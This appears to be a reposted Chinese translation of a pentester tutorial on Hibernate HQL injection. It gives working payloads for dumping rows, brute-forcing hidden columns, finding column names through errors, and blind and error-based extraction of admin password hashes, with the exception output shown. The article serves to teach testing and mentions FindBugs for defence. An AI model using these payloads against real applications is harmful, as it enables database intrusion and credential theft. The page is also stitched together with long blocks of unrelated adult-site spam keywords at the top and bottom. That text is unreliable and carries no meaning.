国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

Hibernate HQL注入攻擊入門

安全 數據安全
SQL注入是一種大家非常熟悉的攻擊方式,目前網絡上有大量存在注入漏洞的DBMS。但是,我在網絡上找不到針對Hibernate查詢語言的相關資源。因此本文總結了筆者在閱讀文檔和不斷試驗過程中的一些經驗技巧。

SQL注入是一種大家非常熟悉的攻擊方式,目前網絡上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在網絡上找不到針對Hibernate查詢語言的相關資源。因此本文總結了筆者在閱讀文檔和不斷試驗過程中的一些經驗技巧。

[[112739]]

什么是Hibernate

Hibernate是一種ORM框架,用來映射與tables相關的類定義(代碼),并包含一些高級特性,包括緩存以及繼承,通常在Java與.NET中使用(可參考NHibernate),但在Java生態系統中更受歡迎。

查詢語言

首先,HQL查詢并不直接發送給數據庫,而是由hibernate引擎對查詢進行解析并解釋,然后將其轉換為SQL。為什么這個細節重要呢?因為有兩種錯誤消息來源,一種來自hibernate引擎,一種來自數據庫。

HQL的一大挑戰是注射模式非常有限,其沒有聯合,沒有函數來創建簡單延遲,沒有系統函數,沒有可用的元數據表等。Hibernate查詢語言沒有那些在后臺數據庫中可能存在的功能特性。

基礎

以下示例代碼用來進行之后的測試。需要注意的是,惡意輸入總是在百分號之間:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有實體

下面從最基礎的開始:列出所有books

from Bookwhere title like '%' or 1=1 or ''='%' and published = true

訪問隱藏的列

盡管UNION操作符不可用,我們依然可以暴力破解隱藏的列。

from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true

from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true

列出所有的列

也許有讀者可能會問,如果沒有元數據表,怎么樣才能發現隱藏的列/字段呢。我發現一個小竅門,不過只有Hibernate向客戶端返回異常消息時才可用。如果列名不是Hibernate中實體定義的一部分,則其會觸發異常:

from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true

觸發異常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

通過該異常,可以看到Hibernate查詢的列表名。

訪問不同的表

如前所述,HQL支持UNION查詢,可以與其它表join,但只有在模型明確定義了關系后才可使用。我發現訪問其它表的唯一方法是使用子查詢。

例如,以下查詢會從表中選擇一條與“User”實體關聯的項。

from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true

之后就可以按常規的盲注模式進行盲注了。

非盲注

盲注比較費時間,如果異常消息能顯示出來,就可以直接得到任意值了。為此,需要將某個選中的值轉換為不同的類型。例如:

from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true

之后Hibernate就愉快地將異常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

技巧:調用后臺函數

如前所述,Hibernate會在SELECT和WHERE語句中隱藏一些不可識別的列名,對函數也一樣。調用數據庫函數的標準過程是事先注冊函數映射(HQL->SQL)(Java代碼),但攻擊者不需要關心兼容性。最終查詢中的完整函數可以用來竊取數據(group_concat,

array_agg, …)或對后臺數據庫進行簡單的指紋識別。

例如,如果數據庫支持group_concat函數:

from Bookwhere title like '%11' and (select cast(group_concat(password) as string) from User)=1 or ''='%' and published = true

則異常觸發為:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

總結

本文并不是討論關于Hibernate的漏洞,而是利用HQL的技巧。如果有讀者維護著使用Hibernate的Java web應用程序,可以運行FindBugs,利用這些規則識別與Hibernate API相關的潛在注入問題。

本文至此就結束了,希望對各位讀者有所幫助!

參考

HQL: The Hibernate Query Language : Hibernate 官方文檔

HQLmap:也許是目前能夠進行自動HQL注入的唯一工具(暴力破解實體與列名)。

SQL Injection Wiki : 多種DBMS平臺進行SQL注入的有用參考資料。

Pentestmonkey

SQL Injection cheatsheets: SQL注入的另一不錯的參考資料。

原文地址:http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2009-06-18 09:14:08

Hibernate H

2009-09-27 14:56:22

Hibernate H

2009-09-23 18:05:48

2009-09-25 16:57:49

Hibernate查詢

2009-06-12 15:32:01

Hibernate H

2009-06-26 16:09:21

Hibernate查詢HQL

2010-09-08 14:02:46

2009-06-29 18:26:46

HibernateHQL查詢

2017-05-08 14:33:51

2011-10-19 10:47:56

2013-12-13 10:45:26

2010-09-13 16:58:13

2009-09-23 11:21:32

學習Hibernate

2009-09-24 15:27:41

Hibernate查詢

2009-09-25 13:48:17

Hibernate i

2009-06-02 14:46:26

Hibernate關系映射教程

2010-09-14 16:00:16

2019-08-02 09:34:22

HQL注入查詢

2014-11-04 13:43:10

2014-07-09 15:41:51

點贊
收藏

51CTO技術棧公眾號

国产免费网址| 一个人看的www久久| 日韩免费电影在线观看| 久久精品香蕉视频| 欧美国产日本高清在线| 欧美国产一区二区| 精品一区二区三区四区五区| 日本黄网站免费| 国外色69视频在线观看| 亚洲色图.com| 不卡一区2区| 欧美另类自拍| 国产一区二区黄色| 精品国产乱码久久久久久蜜臀| 日韩成人精品在线观看| 擼擼色在线看观看免费| 日韩精品手机在线观看| 欧美大尺度激情区在线播放| 最新不卡av在线| 清纯唯美亚洲综合一区| 啊v视频在线| 日韩欧美国产二区| 国产一区二区三区三区在线观看| 久久久精品国产99久久精品芒果 | 中文在线播放一区二区| 欧美黑人激情| 日本丰满大乳奶| 欧美乱妇高清无乱码| 亚洲一区视频在线| 国产精品久久久久久模特| 另类激情视频| 九七影院理论片| 高清视频一区| 亚洲国产日韩欧美在线99| 97久久超碰精品国产| 国精一区二区| 成年人黄视频在线观看| 国产女大学生av| 国产一区欧美二区三区| 欧美一区二区日韩一区二区| 北岛玲一区二区三区四区| 精品久久久久久久久久久下田| 免费在线你懂的| 亚洲色成人www永久在线观看| 91av在线视频观看| 91精品国产综合久久婷婷香蕉 | 欧美亚洲丝袜| 蜜月aⅴ免费一区二区三区| 一区二区三区在线影院| 久久久久.com| 国内精品麻豆美女在线播放视频| 91大神xh98hx在线播放| 国产午夜伦鲁鲁| 亚洲一区二区三区xxx视频| 精品无人国产偷自产在线| 亚洲男人都懂的| 久久66热偷产精品| 欧美女王vk| 国产一区二区三区三区在线观看| 亚洲欧美日韩久久久久久| 久久久久中文字幕2018| 97精品免费视频| 91社区国产高清| 懂色av一区二区三区四区五区| 亚洲mmav| 一卡二卡欧美日韩| 91在线色戒在线| 欧美成人黄色网址| 亚州av中文字幕在线免费观看| 成年在线播放小视频| 香蕉97视频观看在线观看| 在线观看国产麻豆| 亚洲成人三级| 3d欧美精品动漫xxxx无尽| a级日韩大片| 一本久道久久综合狠狠爱| 精品一二三四区| 国产精品久久久久婷婷二区次| 樱花草国产18久久久久| 制服丝袜成人动漫| 欧美成年人视频网站| 国产精品免费看久久久香蕉| 不卡视频一区二区| 最新av在线免费观看| 少妇高潮露脸国语对白| 成人黄动漫网站| 日韩欧美精品一区二区三区| 日本久久一二三四| 国产一区二区| 成人短视频在线| 国产一区影院| 日本vs亚洲vs韩国一区三区二区 | 日韩中文欧美在线| 色愁久久久久久| **欧美日韩在线观看| 午夜免费福利在线观看| 国产超碰在线| 无码少妇一区二区三区芒果| 亚洲精品美女久久7777777| 成人影片在线播放| 国产精品久久久久久久久久东京| x99av成人免费| 精品91自产拍在线观看一区| 在线日韩av片| 精品国产91久久久久久| 日韩一区在线播放| 国产午夜精品久久| 99精品欧美一区| 国产一区二区伦理片| 青青草国产精品97视觉盛宴 | 成人免费看片| 国产视频网址在线| 一二三中文字幕在线| 国产九一视频| 五月婷婷丁香综合网| 国产肥臀一区二区福利视频| 一本大道东京热无码aⅴ| 亚洲综合五月天| 日本高清一区| 国产精品免费一区二区三区观看| 国产精品久久中文| 国产成人精品免高潮费视频| 97在线日本国产| 国产69精品久久久久9999| 欧美成年人视频网站欧美| 久久这里有精品| 久久中文久久字幕| 久久综合亚洲社区| 久久99久久亚洲国产| 九九精品视频在线观看| 欧美贵妇videos办公室| 欧美精品videossex88| 久久久综合av| 2020欧美日韩在线视频| 欧洲精品在线视频| 国产精品日韩久久久久| 国产日韩精品在线播放| 成人网在线免费观看| 国产精品久久久久久久久免费看 | 欧美日韩国产综合视频在线| 久久久久久亚洲精品不卡4k岛国 | 四虎精品在线| 国产九色在线| 黄色在线免费网站| 国产美女情趣调教h一区二区| а√天堂中文在线资源8| 蜜桃av.网站在线观看| 精品国产第一福利网站| 日韩国产大片| 91国内精品白嫩初高生| 天天躁日日躁成人字幕aⅴ| av一区二区高清| 亚洲国产专区| 久久精品国产秦先生| 成人av网站在线观看免费| 国产欧美日韩不卡免费| 亚洲国产视频直播| 欧美日韩精品一二三区| 亚洲精品久久久久久下一站| 最好看的2019年中文视频| 欧美极品xxxx| 国产中文欧美精品| 免费成人深夜夜行视频| 伊人久久在线观看| 亚洲无吗一区二区三区| 黄动漫在线看| 黄色国产网站在线播放| 日韩av中字| 久9re热视频这里只有精品| 亚洲精品久久久| 日韩激情视频网站| 成人一区二区视频| 成人免费一区二区三区视频| 色综合色狠狠天天综合色| 精品99久久久久久| 欧美成人免费全部| 成人乱色短篇合集| 一本久久a久久精品vr综合| 亚洲爆乳无码专区| 日本国产在线| 三上悠亚亚洲一区| 韩日一区二区三区| 日韩精品乱码免费| 欧美激情一区二区| 欧美日韩你懂得| 色噜噜久久综合伊人一本| 国产精品伦子伦免费视频| 五月婷婷综合色| 成人嫩草影院免费观看| 国产香蕉在线| 成人黄色在线| 中文一区一区三区免费在线观看| 国产福利一区二区三区视频| 亚洲国产视频一区二区| 精品视频久久久久久| 欧美一级高清免费播放| 色综合视频二区偷拍在线| 九九99九九精彩| 日日夜夜天天综合入口| 牛牛影视一区二区三区免费看|